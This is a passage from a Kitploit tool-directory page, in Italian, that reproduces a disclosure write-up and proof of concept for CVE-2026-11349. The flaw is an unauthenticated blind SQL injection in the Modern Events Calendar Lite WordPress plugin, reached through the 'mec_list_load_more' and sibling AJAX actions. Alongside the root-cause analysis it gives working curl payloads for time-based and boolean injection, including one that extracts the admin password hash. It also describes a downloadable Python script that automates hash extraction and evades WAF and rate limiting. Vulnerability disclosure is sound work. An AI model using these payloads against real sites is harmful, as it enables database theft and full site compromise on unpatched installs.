Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — SQL Injection non autenticata | Kitploit
Strumenti/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingSicurezza dei Database
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — SQL Injection non autenticata

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Modern Events Calendar Lite <= 7.33.0 — Iniezione SQL non autenticata tramite mec_list_load_more (atts[include] / atts[exclude])

Riepilogo

DettaglioValore
PluginModern Events Calendar Lite
Slugmodern-events-calendar-lite
AutoreWebnus
Versioni interessate<= 7.33.0 (l'attuale release Lite distribuita dal vendor). Il bug è presente nell'intero arco post-w.org; confermato in laboratorio su 6.5.6 e 7.33.0, confermato staticamente in 5.21.2. 6.5.6 = ultima build wordpress.org (congelata alla chiusura del 2022-05-11); 7.33.0 = build attuale distribuita da mec.webnus.net
Installazioni attiveConteggio wordpress.org nascosto dalla chiusura; storicamente 100.000+. Ancora attivamente distribuito/aggiornato dal vendor (Lite tramite mec.webnus.net; lo stesso codebase 7.x è alla base del MEC Pro attivamente venduto)
CWECWE-89 (SQL Injection)
VulnerabilitàIniezione SQL cieca non autenticata (basata sul tempo / booleana / basata sugli errori)
Privilegio richiestoNessuno (wp_ajax_nopriv_* — pre-autenticazione)
Interazione utenteNessuna
CVSS v3.17.5 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
StatoVerificato in laboratorio end-to-end su 7.33.0 (attuale) e 6.5.6 (WordPress 6.6.5, MariaDB 10.x)
CVE / GHSACVE-2026-11349

Descrizione

Modern Events Calendar Lite registra una famiglia di azioni "load more" non autenticate su admin-ajax.php per le sue skin di elenco eventi (list, grid, masonry, agenda, timeline, tile, custom). Ogni handler legge l'array atts controllato dall'attaccante dalla richiesta, lo passa a un helper chiamato sanitize_deep_array() che — quando chiamato con i suoi argomenti predefiniti — non esegue alcuna sanitizzazione — e poi concatena i valori di atts['include'] (e atts['exclude']) grezzi in un frammento SQL post_id IN (...) eseguito con $wpdb->get_results() e senza $wpdb->prepare().

Poiché i punti di ingresso sono registrati su wp_ajax_nopriv_*, non è richiesta alcuna autenticazione, account, nonce o interazione utente. Un attaccante remoto non autenticato può iniettare SQL arbitrario nella clausola WHERE di una SELECT contro wp_mec_dates e leggere qualsiasi dato nel database WordPress (hash delle password utente, segreti/chiavi di wp_options, dati di altri plugin) tramite tecniche cieche basate sul tempo / booleane / basate sugli errori.


Causa principale

1. Un "sanitizzatore" che non sanitizza nulla sul percorso predefinito

app/libraries/main.php:9607:

root@kitploit:~
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW passthrough, no sanitization
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
    }
    return $sanitized;
}

Il controllo (is_array($excludes) and !count($excludes)) rende la funzione una completa no-op quando $excludes è l'array vuoto predefinito — ogni valore viene copiato così com'è. L'intento era evidentemente "se esiste una lista di esclusione, salta quelle chiavi"; la logica booleana salta invece tutto ogni volta che non viene fornita alcuna lista di esclusione.

2. Il chiamante non fornisce $excludes

app/skins/list.php:499-501 (load_more()):

root@kitploit:~
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

sanitize_deep_array($_REQUEST['atts']) viene chiamato con un singolo argomento → $excludes assume il valore predefinito array() → il ramo no-op di cui sopra → $atts è il grezzo, non attendibile $_REQUEST['atts'].

3. Concatenazione grezza nella clausola IN (...)

app/libraries/skins.php:

root@kitploit:~
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

Gli elementi dell'array vengono passati a implode() direttamente nella stringa SQL senza cast a intero e senza escaping. (absint()/(int) su ogni elemento avrebbe chiuso questa falla.)

4. Esecuzione senza prepared statement

app/libraries/db.php:79:

root@kitploit:~
public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // only swaps `#__` for the table prefix
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — no prepare()
    // ...
}

La stringa completamente costruita viene passata così com'è a $wpdb->get_results().

Flusso del taint (richiesta → sink):

root@kitploit:~
$_REQUEST['atts']                                       (attacker-controlled, unauthenticated)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (NO-OP: default empty $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = raw atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (no prepare)

Raggiungibilità

app/skins/list.php:51-52:

root@kitploit:~
$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- unauthenticated

La registrazione nopriv rende l'endpoint raggiungibile prima dell'autenticazione. La stessa struttura di load_more() e il query builder condiviso in skins.php sono presenti nelle skin sorelle, ciascuna con la propria azione wp_ajax_nopriv_*, quindi la stessa iniezione è raggiungibile tramite una qualsiasi di:

Azione AJAX (nopriv)Handler della skin
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

Nessun nonce viene verificato in load_more(), e l'azione non richiede che alcuno shortcode del plugin sia presente in una pagina: gli handler AJAX vengono registrati incondizionatamente all'init.


Prova di concetto (verificata in laboratorio, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

Tutte le richieste sono non autenticate (nessun cookie, nessun nonce). Il valore iniettato viene inserito in atts[include][]; il payload chiude le due parentesi aperte del gruppo IN ((...) AND (... IN ( e aggiunge un OR <sleep> di livello superiore così che la condizione venga valutata per ogni riga scansionata, poi commenta i )) ORDER BY ... finali:

root@kitploit:~
TARGET='https://victim.example'          # plain permalinks: use admin-ajax.php directly

# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) executed

# 3) Boolean oracle (true vs false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) Real data extraction (blind), e.g. admin password-hash first byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: admin hash begins with '$' (phpass)

La query esatta eseguita (catturata da WP_DEBUG_LOG) per un error-canary atts[include][]=0)MEC_SQLI_CANARY era:

root@kitploit:~
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

— il token letterale MEC_SQLI_CANARY appare testualmente nell'istruzione eseguita, confermando la concatenazione grezza. Il parametro atts[exclude][] (skins.php:803 / 603, NOT IN) è iniettabile allo stesso modo (confermato in laboratorio: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). La query e l'iniezione identiche sono state riprodotte su 7.33.0 (build attuale) — stessa canary, stesso comportamento SLEEP.

PoC automatizzato

mec-unauth-sqli-poc.py (incluso) è completamente autonomo e non richiede credenziali: conferma l'iniezione (baseline vs. SLEEP), quindi esegue l'estrazione cieca basata sul tempo di dati arbitrari (predefinito: @@version, utente del database e user_login:user_pass del primo admin). Valida ogni risposta (HTTP 200) e dosa le richieste con --delay + back-off per superare WAF/rate-limiting (es. mod_evasive). Nessun dato viene modificato (contesto SELECT di sola lettura).

root@kitploit:~
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

Impatto

Accesso in lettura completo, non autenticato e raggiungibile di rete, al database: hash delle password di wp_users, wp_options (auth_key, segreti API, token) e qualsiasi altra tabella. In pratica ciò porta a una completa compromissione del sito (cracking offline degli hash, furto di segreti/sessioni). L'impatto sull'integrità è limitato — l'iniezione viene eseguita in una SELECT tramite $wpdb->get_results(), che non consente query impilate — quindi I:N. SLEEP/BENCHMARK pesanti potrebbero degradare la disponibilità, ma l'impatto primario e dimostrato in modo affidabile è la riservatezza (C:H), che porta a un CVSS 7.5.


File interessati

I numeri di riga sono indicati per 7.33.0 (attuale) con 6.5.6 tra parentesi; il codice è identico in tutto l'arco.

FileRiga (7.33.0 / 6.5.6)Problema
app/libraries/main.php11726-11734 / 9607-9619sanitize_deep_array() è una no-op quando $excludes è l'array vuoto predefinito (il controllo !count($excludes))
app/skins/list.php535 / 501atts letto da $_REQUEST e passato a sanitize_deep_array() senza $excludes (in load_more(), 532 / 497)
app/skins/list.php53 / 52wp_ajax_nopriv_mec_list_load_more → punto di ingresso non autenticato
app/libraries/skins.php806 / 603-606array include / exclude passato a implode() grezzo in post_id IN (...) / NOT IN (...) (exclude a 803 / 603)
app/libraries/db.php79-93 (87)MEC_db::select() esegue $wpdb->get_results() senza prepare()

Le skin sorelle (grid, masonry, agenda, timeline, tile, custom) condividono la stessa load_more() + il query builder di skins.php e ciascuna registra un'azione wp_ajax_nopriv_* → stesso bug, molteplici punti di ingresso.


Differenza rispetto alle precedenti CVE di SQL injection di Modern Events Calendar

Questo è un punto di iniezione distinto e precedentemente non segnalato. Ogni SQL injection MEC documentata pubblicamente prende di mira una diversa azione AJAX e un diverso parametro, e tutte sono state corrette in versioni precedenti a questa scoperta (confermata attiva in laboratorio nella 7.33.0):

RiferimentoAutenticazioneAzione AJAXParametroCorretta in
CVE-2021-24946Non autenticatomec_load_single_pagetime6.1.5
CVE-2021-4458Non autenticato (solo se addslashes/l'input-slashing è disabilitato)mec_load_single_pageid6.4.0
CVE-2021-24149Autenticato (author+/subscriber)mec_fes_formmec[post_id]5.16.6
Questo reportNon autenticato (nessuna precondizione)mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more)atts[include][] / atts[exclude][]non corretta (≤ 7.33.0)
  • Percorso di codice diverso. I precedenti problemi non autenticati si trovano nell'handler per evento singolo mec_load_single_page; questo si trova nella paginazione "load more" della skin (load_more() → MEC_skin::initialize() → costruttore post_id IN (...) in app/libraries/skins.php), raggiunto tramite il ramo predefinito no-op di sanitize_deep_array(). Le patch di mec_load_single_page non toccano skins.php.
  • Nessuna precondizione di configurazione. CVE-2021-4458 (id) era sfruttabile solo con l'input slashing di PHP/WordPress disabilitato (uno stato non predefinito) perché quel valore si trova in un contesto tra virgolette. Qui i valori atts[include]/atts[exclude] finiscono in un contesto numerico IN(...) senza virgolette e vengono sfruttati con parentesi + keyword SQL (0)) OR SLEEP(3)#), cosa che wp_magic_quotes() non neutralizza. È quindi sfruttabile su un'installazione WordPress predefinita — confermato in laboratorio su WP 7.0 stock (magic quotes attive).
  • Sopravvive a tutte le correzioni precedenti. Confermata attiva su 7.33.0 — quattro anni e una major version dopo l'ultima patch di mec_load_single_page (6.4.0).

Nota su divulgazione / ambito

Modern Events Calendar Lite è stato rimosso da wordpress.org il 2022-05-11 ("Motivo: violazione delle linee guida"), quindi la build wordpress.org è congelata alla 6.5.6. Questo non significa che il plugin sia abbandonato — Webnus ha continuato lo sviluppo fuori piattaforma: la build Lite attuale distribuita da mec.webnus.net è la 7.33.0, e il percorso di codice vulnerabile è identico byte per byte (confermato in laboratorio; la SQLi si attiva in modo identico su 7.33.0). Il bug quindi colpisce ogni release nell'intero arco successivo alla rimozione, non solo la copia congelata di wordpress.org.

Implicazioni di instradamento (l'obiezione "chiuso su wordpress.org" è molto più debole di quanto sembri):

  • È un prodotto attuale, distribuito dal vendor e supportato, non codice abbandonato — una divulgazione coordinata a Webnus è il canale primario; distribuiscono attivamente aggiornamenti e dovrebbero correggere.
  • MEC Pro (venduto attivamente; 7.x attuale) è costruito su questo stesso codebase 7.x. app/libraries/skins.php, app/libraries/main.php e app/libraries/db.php sono librerie core condivise, quindi Pro è quasi certamente interessato. Questo dovrebbe essere confermato sul sorgente di Pro prima di affermarlo formalmente, ma l'architettura a librerie condivise lo rende molto probabile. Un impatto Pro confermato rende la scoperta inequivocabilmente nell'ambito di Patchstack (un componente venduto pubblicamente) e meritevole di una CVE MITRE/Patchstack indipendentemente dallo stato nella lista wordpress.org.
  • Per i consumatori che si basano specificamente sulla presenza nella lista wordpress.org (alcuni criteri di bounty di Wordfence; l'esclusione "componente chiuso" di Patchstack come applicata alla build gratuita Lite), citare l'impatto della 7.33.0 distribuita dal vendor + Pro piuttosto che la 6.5.6 congelata.

Una CVE è giustificata nel merito: SQL injection non autenticata, raggiungibile di rete, con lettura completa del database, in un prodotto attuale distribuito dal vendor con una base di installazioni storica a sei cifre.


Cronologia

DataEvento
2026-06-03Scoperta durante una revisione automatizzata del plugin; verificata end-to-end (non autenticata) su MEC Lite 6.5.6 (build congelata wordpress.org)
2026-06-04Riverificata end-to-end su 7.33.0 (Lite attuale distribuita dal vendor da mec.webnus.net); codice/iniezione confermati identici — la scoperta è attuale, non un artefatto della versione rimossa
2026-06-04Notifica al vendor (Webnus) + richiesta CVE WPScan; confermare che MEC Pro condivide il percorso
2026-06-05Vulnerabilità verificata e CVE assegnata
Scarica lo strumento